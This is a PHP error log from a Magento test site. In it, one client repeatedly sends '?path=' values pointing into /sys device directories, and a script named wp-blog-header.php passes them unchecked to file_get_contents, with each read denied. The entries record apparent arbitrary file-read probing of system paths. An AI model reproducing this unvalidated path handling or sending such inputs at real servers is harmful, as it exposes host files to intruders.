[Thu Mar 26 11:40:14.241289 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ed/device:ee/subsystem/drivers/ec
[Thu Mar 26 11:40:15.191591 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cc
[Thu Mar 26 11:40:25.313120 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/drivers/ac/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:eb/subsystem/drivers/ac
[Thu Mar 26 11:40:26.927419 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:40:28.003021 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:df/subsystem/devices/device:ee
[Thu Mar 26 11:40:29.530284 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:aa
[Thu Mar 26 11:40:31.735412 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ea
[Thu Mar 26 11:40:34.372411 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bf/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:40:35.351669 2026] [php:warn] [pid 3106380] [client 74.7.241.26:52046] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:db/device:dc
[Thu Mar 26 11:40:37.776643 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ff/subsystem/devices/device:ad/device:ae/subsystem/devices/device:dc
[Thu Mar 26 11:40:39.293566 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:de/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:ad/subsystem/devices/device:ed/device:ee/subsystem/devices/device:de
[Thu Mar 26 11:40:39.898151 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:dc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:dc
[Thu Mar 26 11:40:41.436348 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/subsystem/devices/device:da
[Thu Mar 26 11:40:43.534639 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ee/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:40:44.055248 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:be/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:cb/device:cc/subsystem/devices/device:be
[Thu Mar 26 11:40:44.616418 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ce/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cf/subsystem/devices/device:ce
[Thu Mar 26 11:40:47.862659 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fb/device:fc/subsystem/devices/device:cc
[Thu Mar 26 11:40:52.124405 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ca/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:40:54.126064 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/drivers/ec/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:bb/device:bc/subsystem/drivers/ec
[Thu Mar 26 11:40:56.196028 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ee
[Thu Mar 26 11:40:59.522777 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:cc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ca/subsystem/devices/device:cc
[Thu Mar 26 11:41:02.081228 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:cb/subsystem/devices/device:fc
[Thu Mar 26 11:41:08.431991 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:fa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:db/subsystem/devices/device:fa
[Thu Mar 26 11:41:10.475580 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:cb/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc
[Thu Mar 26 11:41:12.055023 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:41:13.064866 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/subsystem/devices/device:ec
[Thu Mar 26 11:41:14.723373 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:da
[Thu Mar 26 11:41:16.245536 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:fb/device:fc
[Thu Mar 26 11:41:16.842818 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ce/subsystem/drivers/ac
[Thu Mar 26 11:41:18.480139 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:bc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:41:18.979249 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ec/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:af/subsystem/devices/device:ec
[Thu Mar 26 11:41:19.455705 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ef/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ea
[Thu Mar 26 11:41:20.546081 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:aa/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/subsystem/devices/device:aa
[Thu Mar 26 11:41:21.590167 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ed/subsystem/devices/device:ad/device:ae/subsystem/devices/device:da
[Thu Mar 26 11:41:24.759226 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ca/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fc/subsystem/devices/device:ca
[Thu Mar 26 11:41:26.274160 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec/bind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ab/subsystem/devices/device:ad/device:ae/subsystem/drivers/ec
[Thu Mar 26 11:41:27.364868 2026] [php:warn] [pid 3106381] [client 74.7.241.26:50964] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:bc/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:bf/subsystem/devices/device:bc
[Thu Mar 26 11:41:33.970471 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/drivers/ec/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/subsystem/devices/device:db/device:dc/subsystem/drivers/ec
[Thu Mar 26 11:41:35.555610 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:fe
[Thu Mar 26 11:41:38.690858 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ac/subsystem/drivers/ac
[Thu Mar 26 11:41:39.202002 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac/unbind): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fe/subsystem/devices/device:ad/device:ae/subsystem/drivers/ac
[Thu Mar 26 11:41:39.738876 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/drivers/ac/uevent): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:ad/subsystem/devices/device:de/subsystem/devices/device:fd/device:fe/subsystem/drivers/ac
[Thu Mar 26 11:41:42.904966 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:dc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ae
[Thu Mar 26 11:41:43.375222 2026] [php:warn] [pid 3107073] [client 74.7.241.26:47854] PHP Warning: file_get_contents(//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba/eject): Failed to open stream: Permission denied in /var/www/magento.test.indacotrentino.com/www/pub/wp-blog-header.php on line 102, referer: https://forst-trento.test.indacotrentino.com/?path=//sys/class/net/ens160/device/net/ens160/device/firmware_node/subsystem/devices/device:da/subsystem/devices/device:de/subsystem/devices/device:fc/subsystem/devices/device:ad/device:ae/subsystem/devices/device:ba
